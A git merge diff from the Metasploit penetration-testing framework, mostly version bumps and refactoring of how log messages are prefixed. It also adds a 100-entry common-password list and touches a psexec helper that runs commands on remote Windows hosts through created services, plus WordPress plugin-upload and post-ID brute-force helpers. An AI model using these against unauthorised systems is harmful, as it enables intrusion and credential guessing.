Merge branch 'master' into vagrant
This commit is contained in:
@@ -68,6 +68,8 @@ external/source/exploits/**/Release
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.10)
|
||||
metasploit-framework (4.11.12)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
@@ -13,7 +13,7 @@ PATH
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.23)
|
||||
metasploit-payloads (= 1.1.0)
|
||||
metasploit_data_models (= 1.2.10)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
@@ -124,7 +124,7 @@ GEM
|
||||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.23)
|
||||
metasploit-payloads (1.1.0)
|
||||
metasploit_data_models (1.2.10)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Please only use postgresql bound to a TCP port.
|
||||
# Only postgresql is supportable for metasploit-framework
|
||||
# these days. (No SQLite, no MySQL).
|
||||
#
|
||||
# To set up a metasploit database, follow the directions hosted at:
|
||||
# http://r-7.co/MSF-DEV#set-up-postgresql
|
||||
#
|
||||
# Kali Linux and the Omnibus installers both include an easy wrapper script for
|
||||
# managing your database, which may be more convenient than rolling your own.
|
||||
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
@@ -11,7 +11,7 @@ development: &pgsql
|
||||
password: __________________________________
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 5
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
# You will often want to seperate your databases between dev
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
123456
|
||||
123456789
|
||||
password
|
||||
adobe123
|
||||
12345678
|
||||
qwerty
|
||||
1234567
|
||||
111111
|
||||
photoshop
|
||||
123123
|
||||
1234567890
|
||||
000000
|
||||
abc123
|
||||
1234
|
||||
adobe1
|
||||
macromedia
|
||||
azerty
|
||||
iloveyou
|
||||
aaaaaa
|
||||
654321
|
||||
12345
|
||||
666666
|
||||
sunshine
|
||||
123321
|
||||
letmein
|
||||
monkey
|
||||
asdfgh
|
||||
password1
|
||||
shadow
|
||||
princess
|
||||
dragon
|
||||
adobeadobe
|
||||
daniel
|
||||
computer
|
||||
michael
|
||||
121212
|
||||
charlie
|
||||
master
|
||||
superman
|
||||
qwertyuiop
|
||||
112233
|
||||
asdfasdf
|
||||
jessica
|
||||
1q2w3e4r
|
||||
welcome
|
||||
1qaz2wsx
|
||||
987654321
|
||||
fdsa
|
||||
753951
|
||||
chocolate
|
||||
fuckyou
|
||||
soccer
|
||||
tigger
|
||||
asdasd
|
||||
thomas
|
||||
asdfghjkl
|
||||
internet
|
||||
michelle
|
||||
football
|
||||
123qwe
|
||||
zxcvbnm
|
||||
dreamweaver
|
||||
7777777
|
||||
maggie
|
||||
qazwsx
|
||||
baseball
|
||||
jennifer
|
||||
jordan
|
||||
abcd1234
|
||||
trustno1
|
||||
buster
|
||||
555555
|
||||
liverpool
|
||||
abc
|
||||
whatever
|
||||
11111111
|
||||
102030
|
||||
123123123
|
||||
andrea
|
||||
pepper
|
||||
nicole
|
||||
killer
|
||||
abcdef
|
||||
hannah
|
||||
test
|
||||
alexander
|
||||
andrew
|
||||
222222
|
||||
joshua
|
||||
freedom
|
||||
samsung
|
||||
asdfghj
|
||||
purple
|
||||
ginger
|
||||
123654
|
||||
matrix
|
||||
secret
|
||||
summer
|
||||
1q2w3e
|
||||
snoopy1
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.11.10"
|
||||
VERSION = "4.11.12"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -524,18 +524,18 @@ class ReadableText
|
||||
def self.dump_sessions(framework, opts={})
|
||||
ids = (opts[:session_ids] || framework.sessions.keys).sort
|
||||
verbose = opts[:verbose] || false
|
||||
show_extended = opts[:show_extended] || false
|
||||
indent = opts[:indent] || DefaultIndent
|
||||
col = opts[:col] || DefaultColumnWrap
|
||||
|
||||
return dump_sessions_verbose(framework, opts) if verbose
|
||||
|
||||
columns =
|
||||
[
|
||||
'Id',
|
||||
'Type',
|
||||
'Information',
|
||||
'Connection'
|
||||
]
|
||||
columns = []
|
||||
columns << 'Id'
|
||||
columns << 'Type'
|
||||
columns << 'Checkin?' if show_extended
|
||||
columns << 'Information'
|
||||
columns << 'Connection'
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent,
|
||||
@@ -551,11 +551,22 @@ class ReadableText
|
||||
sinfo = sinfo[0,77] + "..."
|
||||
end
|
||||
|
||||
row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
|
||||
if session.respond_to? :platform
|
||||
row[1] << (" " + session.platform)
|
||||
row = []
|
||||
row << session.sid.to_s
|
||||
row << session.type.to_s
|
||||
row[-1] << (" " + session.platform) if session.respond_to?(:platform)
|
||||
|
||||
if show_extended
|
||||
if session.respond_to?(:last_checkin) && session.last_checkin
|
||||
row << "#{(Time.now.to_i - session.last_checkin.to_i)}s ago"
|
||||
else
|
||||
row << '?'
|
||||
end
|
||||
end
|
||||
|
||||
row << sinfo
|
||||
row << session.tunnel_to_s + " (#{session.session_host})"
|
||||
|
||||
tbl << row
|
||||
}
|
||||
|
||||
|
||||
@@ -48,29 +48,29 @@ module Msf
|
||||
def redis_command(*commands)
|
||||
command_string = printable_redis_response(commands.join(' '))
|
||||
unless (command_response = send_redis_command(*commands))
|
||||
vprint_error("#{peer} -- no response to '#{command_string}'")
|
||||
vprint_error("No response to '#{command_string}'")
|
||||
return
|
||||
end
|
||||
if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response
|
||||
fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password']
|
||||
vprint_status("#{peer} -- requires authentication (#{printable_redis_response(auth_response, false)})")
|
||||
vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})")
|
||||
if (auth_response = send_redis_command('AUTH', datastore['Password']))
|
||||
unless auth_response =~ /\+OK/
|
||||
vprint_error("#{peer} -- authentication failure: #{printable_redis_response(auth_response)}")
|
||||
vprint_error("Authentication failure: #{printable_redis_response(auth_response)}")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer} -- authenticated")
|
||||
vprint_status("Authenticated")
|
||||
unless (command_response = send_redis_command(*commands))
|
||||
vprint_error("#{peer} -- no response to '#{command_string}'")
|
||||
vprint_error("No response to '#{command_string}'")
|
||||
return
|
||||
end
|
||||
else
|
||||
vprint_status("#{peer} -- authentication failed; no response")
|
||||
vprint_status("Authentication failed; no response")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} -- redis command '#{command_string}' got '#{printable_redis_response(command_response)}'")
|
||||
vprint_status("Redis command '#{command_string}' got '#{printable_redis_response(command_response)}'")
|
||||
command_response
|
||||
end
|
||||
|
||||
|
||||
@@ -42,6 +42,11 @@ def check
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
# IPv4 addr can be 16 chars + 1 for : and + 5 for port
|
||||
super.ljust(21)
|
||||
end
|
||||
|
||||
#
|
||||
# The command handler when launched from the console
|
||||
#
|
||||
|
||||
@@ -16,7 +16,8 @@ module Msf::DBManager::Import
|
||||
autoload :Acunetix, 'msf/core/db_manager/import/acunetix'
|
||||
autoload :Amap, 'msf/core/db_manager/import/amap'
|
||||
autoload :Appscan, 'msf/core/db_manager/import/appscan'
|
||||
autoload :Burp, 'msf/core/db_manager/import/burp'
|
||||
autoload :BurpIssue, 'msf/core/db_manager/import/burp_issue'
|
||||
autoload :BurpSession, 'msf/core/db_manager/import/burp_session'
|
||||
autoload :CI, 'msf/core/db_manager/import/ci'
|
||||
autoload :Foundstone, 'msf/core/db_manager/import/foundstone'
|
||||
autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm'
|
||||
@@ -41,7 +42,8 @@ module Msf::DBManager::Import
|
||||
include Msf::DBManager::Import::Acunetix
|
||||
include Msf::DBManager::Import::Amap
|
||||
include Msf::DBManager::Import::Appscan
|
||||
include Msf::DBManager::Import::Burp
|
||||
include Msf::DBManager::Import::BurpIssue
|
||||
include Msf::DBManager::Import::BurpSession
|
||||
include Msf::DBManager::Import::CI
|
||||
include Msf::DBManager::Import::Foundstone
|
||||
include Msf::DBManager::Import::FusionVM
|
||||
@@ -267,6 +269,9 @@ module Msf::DBManager::Import
|
||||
elsif (data[0,1024] =~ /<!ATTLIST\s+items\s+burpVersion/)
|
||||
@import_filedata[:type] = "Burp Session XML"
|
||||
return :burp_session_xml
|
||||
elsif (data[0,1024] =~ /<!ATTLIST\s+issues\s+burpVersion/)
|
||||
@import_filedata[:type] = "Burp Issue XML"
|
||||
return :burp_issue_xml
|
||||
elsif (firstline.index("<?xml"))
|
||||
# it's xml, check for root tags we can handle
|
||||
line_count = 0
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
require 'rex/parser/burp_issue_nokogiri'
|
||||
|
||||
module Msf::DBManager::Import::BurpIssue
|
||||
def import_burp_issue_xml(args={}, &block)
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
wspace = args[:wspace] || workspace
|
||||
parser = "Nokogiri v#{::Nokogiri::VERSION}"
|
||||
noko_args = args.dup
|
||||
noko_args[:blacklist] = bl
|
||||
noko_args[:wspace] = wspace
|
||||
if block
|
||||
yield(:parser, parser)
|
||||
doc = Rex::Parser::BurpIssueDocument.new(args,framework.db) {|type, data| yield type,data }
|
||||
else
|
||||
doc = Rex::Parser::BurpIssueDocument.new(args,self)
|
||||
end
|
||||
parser = ::Nokogiri::XML::SAX::Parser.new(doc)
|
||||
parser.parse(args[:data])
|
||||
end
|
||||
end
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
require 'rex/parser/burp_session_nokogiri'
|
||||
|
||||
module Msf::DBManager::Import::Burp
|
||||
module Msf::DBManager::Import::BurpSession
|
||||
def import_burp_session_noko_stream(args={},&block)
|
||||
if block
|
||||
doc = Rex::Parser::BurpSessionDocument.new(args,framework.db) {|type, data| yield type,data }
|
||||
@@ -649,14 +649,14 @@ class Exploit < Msf::Module
|
||||
# Returns true if the exploit has an aggressive stance.
|
||||
#
|
||||
def aggressive?
|
||||
(stance == Stance::Aggressive)
|
||||
(stance == Stance::Aggressive || stance.include?(Stance::Aggressive))
|
||||
end
|
||||
|
||||
#
|
||||
# Returns if the exploit has a passive stance.
|
||||
#
|
||||
def passive?
|
||||
(stance == Stance::Passive)
|
||||
(stance == Stance::Passive || stance.include?(Stance::Passive))
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -72,60 +72,13 @@ module Exploit::Remote::HttpServer
|
||||
Thread.current[:cli] = cli
|
||||
end
|
||||
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_line(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
def print_prefix
|
||||
if cli && !aggressive?
|
||||
super + "#{cli.peerhost.ljust(16)} #{self.shortname} - "
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_status(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_good(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_error(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
||||
#
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_warning(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_line(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_status(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_good(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_error(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_warning(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
|
||||
@@ -10,10 +10,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
|
||||
def wordpress_upload_plugin(name, zip, cookie)
|
||||
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
|
||||
if nonce.nil?
|
||||
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
|
||||
vprint_error("Failed to acquire the plugin upload nonce")
|
||||
return false
|
||||
end
|
||||
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
|
||||
vprint_status("Acquired a plugin upload nonce: #{nonce}")
|
||||
|
||||
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
|
||||
data = Rex::MIME::Message.new
|
||||
@@ -32,11 +32,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Admin
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
vprint_status("#{peer} - Uploaded plugin #{name}")
|
||||
vprint_status("Uploaded plugin #{name}")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - Server responded with code #{res.code}") if res
|
||||
vprint_error("#{peer} - Failed to upload plugin #{name}")
|
||||
vprint_error("Server responded with code #{res.code}") if res
|
||||
vprint_error("Failed to upload plugin #{name}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,7 +27,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
|
||||
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
|
||||
print_error("Error connecting to #{target_uri}: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
@@ -52,7 +52,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||
if res && res.redirect? && res.redirection
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
message = "Post comment failed."
|
||||
message << " Status Code: #{res.code}" if res
|
||||
print_error(message)
|
||||
return nil
|
||||
@@ -67,7 +67,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
|
||||
range.each { |id|
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
||||
vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
|
||||
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
|
||||
return id if body
|
||||
}
|
||||
|
||||
@@ -99,11 +99,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
|
||||
# @param max_redirects [Integer] maximum redirects to follow
|
||||
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
||||
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
|
||||
vprint_status("#{peer} - Enumerating Blog posts...")
|
||||
vprint_status("Enumerating Blog posts...")
|
||||
blog_posts = []
|
||||
|
||||
begin
|
||||
vprint_status("#{peer} - Locating wordpress feed...")
|
||||
vprint_status("Locating wordpress feed...")
|
||||
res = send_request_cgi({
|
||||
'uri' => wordpress_url_rss,
|
||||
'method' => 'GET'
|
||||
@@ -116,26 +116,26 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
|
||||
vprint_status("Web server returned a #{res.code}...following to #{path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.code == 200
|
||||
vprint_status("#{peer} - Feed located at #{path}")
|
||||
vprint_status("Feed located at #{path}")
|
||||
else
|
||||
vprint_status("#{peer} - Returned a #{res.code}...")
|
||||
vprint_status("Returned a #{res.code}...")
|
||||
end
|
||||
count = count - 1
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect")
|
||||
print_error("Unable to connect")
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
|
||||
vprint_status("Did not recieve HTTP response for RSS feed")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
@@ -143,7 +143,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Posts
|
||||
links = res.body.scan(/<link>([^<]+)<\/link>/i)
|
||||
|
||||
if links.nil? or links.empty?
|
||||
vprint_status("#{peer} - Feed did not have any links present")
|
||||
vprint_status("Feed did not have any links present")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
|
||||
@@ -48,7 +48,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Users
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Error getting response.")
|
||||
print_error("Error getting response.")
|
||||
return nil
|
||||
elsif res.code == 200 and
|
||||
(
|
||||
|
||||
@@ -134,7 +134,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
|
||||
res = nil
|
||||
readmes.each do |readme_name|
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, readme_name)
|
||||
vprint_status("#{peer} - Checking #{readme_url}")
|
||||
vprint_status("Checking #{readme_url}")
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
@@ -180,7 +180,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version
|
||||
# Could not identify version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
|
||||
vprint_status("Found version #{version} of the #{item_type}")
|
||||
|
||||
if fixed_version.nil?
|
||||
if vuln_introduced_version.nil?
|
||||
|
||||
@@ -7,6 +7,7 @@ require 'set'
|
||||
require 'rex/exploitation/js'
|
||||
require 'msf/core/exploit/jsobfu'
|
||||
require 'msf/core/exploit/remote/browser_profile_manager'
|
||||
require 'msf/core/module'
|
||||
|
||||
###
|
||||
#
|
||||
@@ -28,6 +29,8 @@ module Msf
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::JSObfu
|
||||
include Msf::Exploit::Remote::BrowserProfileManager
|
||||
include Msf::Module::UI::Line::Verbose
|
||||
include Msf::Module::UI::Message::Verbose
|
||||
|
||||
# this must be static between runs, otherwise the older cookies will be ignored
|
||||
DEFAULT_COOKIE_NAME = '__ua'
|
||||
@@ -136,7 +139,6 @@ module Msf
|
||||
clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
|
||||
end
|
||||
|
||||
|
||||
# Returns the custom 404 URL set by the user
|
||||
#
|
||||
# @return [String]
|
||||
|
||||
@@ -74,7 +74,7 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
simple.disconnect("\\\\#{host}\\#{smbshare}")
|
||||
return contents
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.")
|
||||
print_error("Unable to read file #{file}. #{e.class}: #{e}.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
@@ -94,16 +94,16 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
def psexec(command, disconnect=true)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||
vprint_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
vprint_status("#{peer} - Bound to #{handle} ...")
|
||||
vprint_status("#{peer} - Obtaining a service manager handle...")
|
||||
vprint_status("Bound to #{handle} ...")
|
||||
vprint_status("Obtaining a service manager handle...")
|
||||
|
||||
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
|
||||
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
|
||||
|
||||
if scm_status == ERROR_ACCESS_DENIED
|
||||
print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager")
|
||||
print_error("ERROR_ACCESS_DENIED opening the Service Manager")
|
||||
end
|
||||
|
||||
return false unless scm_handle
|
||||
@@ -114,68 +114,68 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
opts = {}
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Creating the service...")
|
||||
vprint_status("Creating the service...")
|
||||
svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
|
||||
|
||||
case svc_status
|
||||
when ERROR_SUCCESS
|
||||
vprint_good("#{peer} - Successfully created the service")
|
||||
vprint_good("Successfully created the service")
|
||||
when ERROR_SERVICE_EXISTS
|
||||
service_exists = true
|
||||
print_warning("#{peer} - Service already exists, opening a handle...")
|
||||
print_warning("Service already exists, opening a handle...")
|
||||
svc_handle = svc_client.openservicew(scm_handle, service_name)
|
||||
when ERROR_ACCESS_DENIED
|
||||
print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
|
||||
print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
|
||||
return false
|
||||
else
|
||||
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
|
||||
print_error("Failed to create service, ERROR_CODE: #{svc_status}")
|
||||
return false
|
||||
end
|
||||
|
||||
if svc_handle.nil?
|
||||
print_error("#{peer} - No service handle retrieved")
|
||||
print_error("No service handle retrieved")
|
||||
return false
|
||||
else
|
||||
|
||||
if service_description
|
||||
vprint_status("#{peer} - Changing service description...")
|
||||
vprint_status("Changing service description...")
|
||||
svc_client.changeservicedescription(svc_handle, service_description)
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Starting the service...")
|
||||
vprint_status("Starting the service...")
|
||||
begin
|
||||
svc_status = svc_client.startservice(svc_handle)
|
||||
case svc_status
|
||||
when ERROR_SUCCESS
|
||||
print_good("#{peer} - Service started successfully...")
|
||||
print_good("Service started successfully...")
|
||||
when ERROR_FILE_NOT_FOUND
|
||||
print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
|
||||
print_error("Service failed to start - FILE_NOT_FOUND")
|
||||
when ERROR_ACCESS_DENIED
|
||||
print_error("#{peer} - Service failed to start - ACCESS_DENIED")
|
||||
print_error("Service failed to start - ACCESS_DENIED")
|
||||
when ERROR_SERVICE_REQUEST_TIMEOUT
|
||||
print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...")
|
||||
print_good("Service start timed out, OK if running a command or non-service executable...")
|
||||
else
|
||||
print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
|
||||
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
ensure
|
||||
begin
|
||||
# If service already exists don't delete it!
|
||||
# Maybe we could have a force cleanup option..?
|
||||
if service_exists
|
||||
print_warning("#{peer} - Not removing service as it already existed...")
|
||||
print_warning("Not removing service as it already existed...")
|
||||
elsif datastore['SERVICE_PERSIST']
|
||||
print_warning("#{peer} - Not removing service for persistance...")
|
||||
print_warning("Not removing service for persistance...")
|
||||
else
|
||||
vprint_status("#{peer} - Removing the service...")
|
||||
vprint_status("Removing the service...")
|
||||
svc_status = svc_client.deleteservice(svc_handle)
|
||||
if svc_status == ERROR_SUCCESS
|
||||
vprint_good("#{peer} - Successfully removed the sevice")
|
||||
vprint_good("Successfully removed the sevice")
|
||||
else
|
||||
print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||
end
|
||||
end
|
||||
ensure
|
||||
vprint_status("#{peer} - Closing service handle...")
|
||||
vprint_status("Closing service handle...")
|
||||
svc_client.closehandle(svc_handle)
|
||||
end
|
||||
end
|
||||
@@ -189,10 +189,6 @@ module Exploit::Remote::SMB::Client::Psexec
|
||||
true
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -71,7 +71,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
# This method currently only knows about PLAIN authentication.
|
||||
#
|
||||
def connect_login(global = true)
|
||||
print_verbose("Connecting to SMTP server #{rhost}:#{rport}...")
|
||||
vprint_status("Connecting to SMTP server #{rhost}:#{rport}...")
|
||||
nsock = connect(global)
|
||||
|
||||
if datastore['DOMAIN'] and not datastore['DOMAIN'] == ''
|
||||
@@ -114,7 +114,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
else
|
||||
if datastore['PASSWORD'] and datastore["USERNAME"] and not datastore["USERNAME"].empty?
|
||||
# Let the user know their creds are going unused
|
||||
print_verbose("Server didn't ask for authentication, skipping")
|
||||
vprint_status("Server didn't ask for authentication, skipping")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -170,7 +170,7 @@ module Exploit::Remote::SMTPDeliver
|
||||
end
|
||||
|
||||
if not already_connected
|
||||
print_verbose("Closing the connection...")
|
||||
vprint_status("Closing the connection...")
|
||||
disconnect(nsock)
|
||||
end
|
||||
|
||||
@@ -187,11 +187,11 @@ module Exploit::Remote::SMTPDeliver
|
||||
return false if not nsock
|
||||
if cmd =~ /AUTH PLAIN/
|
||||
# Don't print the user's plaintext password
|
||||
print_verbose("C: AUTH PLAIN ...")
|
||||
vprint_status("C: AUTH PLAIN ...")
|
||||
else
|
||||
# Truncate because this will include a full email and we don't want
|
||||
# to dump it all.
|
||||
print_verbose("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}")
|
||||
vprint_status("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}")
|
||||
end
|
||||
|
||||
nsock.put(cmd)
|
||||
@@ -199,17 +199,11 @@ module Exploit::Remote::SMTPDeliver
|
||||
|
||||
# Don't truncate the server output because it might be helpful for
|
||||
# debugging.
|
||||
print_verbose("S: #{res.strip}") if res
|
||||
vprint_status("S: #{res.strip}") if res
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def print_verbose(msg)
|
||||
if datastore['VERBOSE']
|
||||
print_status(msg)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# The banner received after the initial connection to the server. This should look something like:
|
||||
# 220 mx.google.com ESMTP s5sm3837150wak.12
|
||||
|
||||
+41
-33
@@ -82,11 +82,6 @@ module Exploit::Remote::Tcp
|
||||
)
|
||||
end
|
||||
|
||||
# Returns the rhost:rport
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Establishes a TCP connection to the specified RHOST/RPORT
|
||||
#
|
||||
@@ -200,6 +195,14 @@ module Exploit::Remote::Tcp
|
||||
disconnect
|
||||
end
|
||||
|
||||
def print_prefix
|
||||
if rhost
|
||||
super + peer + " - "
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Wrappers for getters
|
||||
@@ -207,17 +210,24 @@ module Exploit::Remote::Tcp
|
||||
##
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
# Returns the local host for outgoing connections
|
||||
#
